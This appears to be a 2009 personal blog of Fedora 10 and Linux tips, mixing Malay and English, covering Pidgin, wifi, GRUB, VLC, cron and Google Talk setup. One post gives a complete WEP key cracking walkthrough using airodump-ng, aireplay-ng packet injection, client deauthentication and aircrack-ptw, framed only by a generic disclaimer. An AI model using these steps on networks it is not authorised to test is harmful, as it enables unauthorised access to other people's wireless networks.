Friday, June 19, 2009

Fedora 10 : Setting YM in Pidgin (if had an error, can't connect)

Problem:
"[account name] disconnected.
Could not establish a connection with the server:
Error resolving scs.msg.yahoo.com
Name or service not known".

I've tried many thinks that where suggested in these Forums, for e.g. unistalling and reinstalling Pidgin, with no success. Then I read the error message more carefully and I saw that it had to be something with the resolving of the server address "scs.msg.yahoo.com". So I pinged "scs.msg.yahoo.com" and it gave me an error, but when I pinged "66.163.181.173", which is the numeric address of yahoo's server, there it was.

Solution:
So, the solution that worked for me, and hadn't failed me yet, is this: In the "Acounts" menu choose your yahoo account and select "Edit Acount". In the new window that will appear named "Modify Account" in the "Advanced" tab look for an entry named "Pager server". By default its value should be "scs.msg.yahoo.com". Change it to "66.163.181.173"
**memang menjadi


Cara Ke-2

Ikut link ni:
http://jimmod.com/blog/2009/06/solving-pidgin-cannot-connect-ym/

Wednesday, June 17, 2009

Alamat UUM, Sintok, Kedah

Unit Peperiksaan,
Jabatan Hal Ehwal Akademik (HEA),
Universiti Utara Malaysia,
06010 Sintok,
Kedah Darul Aman.

Faks : 04-928.3182
Website: www.uum.edu.my

Saturday, June 13, 2009

Fedora 10 : Setting Wifi

1) System > Administration > Network
2) Device wlan0, klik "Edit"
3) Tab 'Wireless Setting":
---Mode : Master
---Network Name (SSID) : Auto
---Channel : Auto
---Transmit Rate : Auto
---Key (use 0x for hex): kosongkan
4) Save


1) System > Preferences > Internet and Network > Network Connections
2) Tab "Wireless", klik Add
3) Editing Wireless Connection 1:
---Tab "Wireless":
----------SSID : 3com
----------Mode : Infrastructure
----------BSSID : kosongkan
----------MAC Address : 00:16:CF:65:05:AE
----------MTU : Automatic

---Tab "Wireless Security":
----------Security : None
---Tab "IPv4 Settings":
----------Methods : Automatic (DHCP)

Selepas selesai semua di atas, REBOOT PC utk take action....

Tuesday, June 9, 2009

Fedora 10 : Buat Shortcut Utk URL

1) Right-click Desktop, amik "Create Launcher"
2) Create Launcher Properties:
Type : Application
Name : Apa2 nama yg berkaitan
Command : firefox %u (space) (URL)
Comment : Apa2 komen yg berkaitan utk rujukan
3) Klik di ikon utk tukar gambar ikon yg suka.
4) Klik "OK"... Siap!

Sunday, May 31, 2009

Fedora 10 : Repair Grub Boot Loader yg rosak

1) Masukkan CD Fedora 10 & pilih mode repair

2) Di command prompt, taip:
fdisk -l /dev/sd utk senaraikan partition yg ada fedora (swap, / dan /boot)
Contoh PC aku: sdb6 /boot, sdb7 swap & sdb8 /

3) Taipkan:
chroot /mnt/sysimage
grub-install /dev/sdb

4) Taipkan:
Exit utk reboot PC

sdb = coz' sdb6, sdb7 & sdb8 (based kpd PC aku)

Friday, May 29, 2009

Fedora 10 : How to fix NetworkManager

It's an ever persistent bug in NetworkManager, here's how to fix it:

1) Open a Terminal and log in as root

2) Turn NetworkManager off at boot
# chkconfig NetworkManager off

3) Stop the NetworkManager service
# service NetworkManager stop

4) Edit your configuration file for your network interface (eth0 as an example)
# nano /etc/sysconfig/networking/devices/ifcfg-eth0

Assuming the following configuration:
IP = 192.168.1.1
GW = 192.168.1.250
SNM = 255.255.255.0

Make sure the following is in the file:
Device=eth0
HWADDR=XX:XX:XX:XX:XX:XX
ONBOOT=yes
BOOTPROTO=none
PEERDNS=yes
USERCTL=no
NM_CONTROLLED=no
TYPE=Ethernet
BROADCAST=192.168.1.255
NETMASK=255.255.255.0
NETWORK=192.168.1.0
IPADDR=192.168.1.1

Hit CTRL-X to quit, then 'y' to confirm the changes, and ENTER to save under same file name

5) Edit the configuration file for your DNS servers
# nano /etc/resolv.conf

Assuming the following configuration:
DNS Server 1 = 192.168.1.210
DNS Server 2 = 192.168.1.211

Make sure the following lines are in the file:

nameserver 192.168.1.210
nameserver 192.168.1.211
#Google
nameserver    8.8.8.8
nameserver    8.8.4.4

Hit CTRL-X to quit, then 'y' to confirm the changes, and ENTER to save under same file name

6) Restart your network
# service network restart

If you get a FAILED message about a panX interface, don't worry about it.

Tuesday, May 26, 2009

hp LaserJet 2430 printers

Link Pin Codes:
http://www.scribd.com/doc/3866365/hp-laserjet-service-menu-pin-codes

http://www.fixyourownprinter.com/forums/printer/47349

Fedora 10 : VLC Movie Player

Fedora 9 and Fedora 10

Use RPM Fusion for F9 and F10 (available for x86, x86_64, ppc and ppc64)
Install rpmfusion-free-release-stable.noarch.rpm for F9 and f10

  $> su -
#> rpm -ivh http://download1.rpmfusion.org/free/fedora/rpmfusion-free-release-stable.noarch.rpm
#> yum install vlc
#> yum install mozilla-vlc (optionnal)

Fedora 8

Use RPM Fusion for F8 (available for x86, x86_64 and ppc)
Install rpmfusion-free-release-stable.noarch.rpm for F8

$> su -
#> rpm -ivh http://download1.rpmfusion.org/free/fedora/rpmfusion-free-release-stable.noarch.rpm
#> yum install vlc
#> yum install python-vlc mozilla-vlc (optionnals)

Fedora 7

Use RPM - LIVNA for F7 (available for x86, x86_64 and ppc)
Install livna-release-7.rpm for F7

 $> su -
#> rpm -ivh http://rpm.livna.org/livna-release-7.rpm
#> yum install vlc
#> yum install python-vlc mozilla-vlc (optionnal)

Fedora 6

Use RPM - LIVNA for F6 (available for x86, x86_64 and ppc)
Install livna-release-6.rpm for F6

$> su -
#> rpm -ivh http://rpm.livna.org/livna-release-6.rpm
#> yum install vlc
#> yum install python-vlc mozilla-vlc (optionnal)

Link:
http://www.videolan.org/vlc/download-fedora.html
http://forums.fedoraforum.org/showthread.php?t=215164

Thursday, May 14, 2009

Fedora 10 : Install IE dlm Fedora

yum -y install wine*
yum -y install cabextract


wget http://www.tatanka.com.br/ies4linux/downloads/ies4linux-latest.tar.gz
tar zxvf ies4linux-latest.tar.gz
cd ies4linux-*
./ies4linux

Link:
http://forums.fedoraforum.org/showthread.php?t=154518

Monday, May 11, 2009

Retrieve WEP Key using WiFiSlax and Intel Centrino Chipset

This tutorial show your how to retrieve WEP Key using WiFiSlax and Intel Centrino Chipset.

Requirement

  • Notebook with Intel Centrino Chipset 2200 above
  • WiFiSlax 3.1 (Download)
  • Cup of coffee with two cigarettes ;p

Instruction

  1. Download WiFISlax image and burn to CD
  2. Boot the notebook using the CD
  3. Login using “root” and password is “toor“
  4. Once started, open the X:
    startx
    Note: This CD contains Spanish language, use Google Translate if needed

Step 1: Load Driver

  1. To load Intel driver, click K Menu > Asistencia Chipset > Asistencia Intel pro wireless > Cargar ipw3945 injection (depend on your chipset)
  2. To find target Channel, use Kismet to scan all network wireless (K Menu > Wifislax > Herramientas Wireless > Kismet)

Step 2: Start Capturing

  1. Set the channel of the Access Point in the NIC
    echo 'Channel' > /sys/class/net/wifi0/device/channel
  2. Scan all wireless network to get the BSSID and the ESSID type:
    airodump-ng rtap0

    Finish the execution with CONTROL-C

  3. Set the BSSID in the NIC
    echo 'BSSID' > /sys/class/net/wifi0/device/bssid
  4. Start capturing using the command
    airodump-ng -c CHANNEL -w /path/to/save/OUTPUT_FILE rtap0

Step 3: Injection Traffic

  1. Capturing take a while so open new terminal window and set speed 2Mbps:
    echo '2' > /sys/class/net/wifi0/device/rate
  2. Activate the NIC:
    ifconfig wifi0 up
  3. Look at your MAC address
  4. Initiate an association with the Access Point
    aireplay-ng -1 0 AP_BSSID -h YOUR_MAC_ADDRESS_WIFI -e AP_ESSID wifi0
  5. Start the injection traffic:
    aireplay-ng -3 -b AP_BSSID -e AP_ESSID -h YOUR_MAC_ADDRESS_WIFI wifi0

    This should increment the number of data in capture window.

Step 4: Deauthenticate clients if needed

Deauthenticate Clients if needed to increase the ARP request capture, type:

aireplay-ng -0 15 -a AP_BSSID -c CLIENT_MAC_ADDRESS_WIFI wifi0

Step 5: Apply Aircrack-PTW

When the data packet between 40,000 and 85,000+ data, extract the key by executing:
aircrack-ptw /path/to/save/OUTPUT_FILE.cap
and voila..

Found key with len 05: XX XX XX XX XX

where XX XX XX XX is WEP Key

This is manual tip using WIfiSlax. I will give you easy way how to retrieve WEP key using the same tool..

DISCLAIMER: This is for testing environment and educational purpose only. I cannot guarantee the accuracy or validity of the material submitted. You agree that your use of the tips and your reliance on any questions, answers, information or other materials received through this site is at your own risk.

Fedora 1: MPlayer

Utk: 3gp movies

yum install mplayer mencoder

yum install -y mplayer mplayer-gui mplayer-codecs

Saturday, May 9, 2009

Cron Job

minit jam hari bulan hari_seminggu command
FieldRange of values
minute0-59
hour0-23
day1-31
month1-12
day-of-week0-7 (where both 0 and 7 mean Sun, 1 = Mon, 2 = Tue, etc)
command-line-to-executethe command to run along with the parameters to that command if any

Contoh:
if you want a certain command to run at 5.30 am, you will have to code it as:
30 5

If you want something run at 8 pm, it has to be coded as
0 20

if you want a command run on 5th January at 9.15 am, your schedule should begin with the following:15 9 5 1

If you want a particular program to run, say, once every day at 10.45 am, the time portion of the cron schedule should read:45 10 * * *

The first two fields "45 10" means that you want it to run at 10.45. The next field, the day field, is set to * (the asterisk character) to show that we're talking about 10.45 every day, not just the 1st of the month (which would be "1") or the 30th of the month ("30") or some other number.

The month field is set to the asterisk as well. If we set some number in the month field, say "2", we will be saying that we only want the command to run at 10.45 in the month of February ("2"). Since that's not what we need, we put the asterisk to mean every month.

Similarly, the day-of-week field is set to the asterisk, because we want the command to run whether it's Sunday ("0") or Monday ("1") or whatever day.

if you want a job to run every hour on the hour, you will have to set the time component of the crontab line as follows:0 * * * *

If you want something to run once every two hours, you will have to use the slash, "/", character in your field. The slash character is the "step" character. In the case of a two hourly schedule, your time component of your cron file will read:

* */2 * * *

The second field, "*/2", means every alternate hour.

Similarly, if you want something to run every 3 hours, you can change that field to "*/3", and so on.

If you want a particular command to run only at 8.00am on the 1st and 20th of every month, you should code the time as:
0 8 1,20 * *

The comma, ",", means "and". If you are confused by the above line, remember that spaces
are the field separators, not commas.

Link:
http://www.thesitewizard.com/general/set-cron-job.shtml

http://www.adminschoice.com/docs/crontab.htm

Tuesday, May 5, 2009

Fedora 10 : Installing VLC

http://www.videolan.org/vlc/download-fedora.html

How to make VLC default player:
http://wiki.videolan.org/How_to_make_VLC_the_default_player
ps: yg ni xmenjadi

Yg ni okey:
* Right-click on the video file that you want VLC to open.
* Choose properties.
* Now in the properties window click on the tab named Open With.
* In the tab Open With just choose VLC as your player for that type of file.

Just remember that you will have to do this for each an every type of video/audio file(ex: mpg, avi, rm, mkv, ogg, mp3 etc)

Fedora 10 : Update (xmms)

Link:
http://www.yolinux.com/TUTORIALS/LinuxTutorialMozillaConfiguration.html#EXTENSIONS

Thursday, April 16, 2009

Pidgin - Setting Google Talk

How to configure Pidgin to work with Google Talk

Pidgin (earlier Gaim) is a multiple protocol Instant Messenger client which can be used to chat using MSN, Yahoo, AIM and many other protocols. But most people do not know that you can use Pidgin to chat with Google Talk users.

Pidgin supports a protocol called XMPP (Extensible Messaging and Presence Protocol). XMPP is the core protocol of the Jabber protocol and GTalk is also based on the Jabber protocol. So it is quite easy to make Pidgin to work with GTalk.

How to configure Pidgin to work with Google Talk

  1. Download & Install the latest version of Pidgin.
  2. Open Pidgin and go to Add / Edit Account window of Pidgin.
  3. From the drop-down box choose XMPP as the Protocol.
  4. For the Screen name enter your Google Id (Gmail Id). eg. manast86
  5. For Server enter gmail.com
  6. You can leave the Resource with the default "Home".
  7. In the Password field enter your Google ID password.
  8. Enter Local alias as whatever you want to.
That's it. Now you can start chatting with your GTalk buddies using Pidgin while keeping in touch with users of other IM users also. Now, who needs separate YIM and GTalk instant messengers open.

********************************************************

Some readers have reported that they are getting “Connect Error” when saving the account. If you get the same error, try going to the advanced tab and enter the following settings…

Force old (port 5223) SSL: Checked
Allow plaintext auth over unencrypted streams: Un-Checked
Connect Port: 443
Connect Server: talk.google.com
Proxy type: Use Global Proxy Settings

Hope it works now.

Link : http://www.manast.com/2007/05/11/how-to-configure-pidgin-to-work-with-google-talk/

********************************************************

Setting GTalk Cengko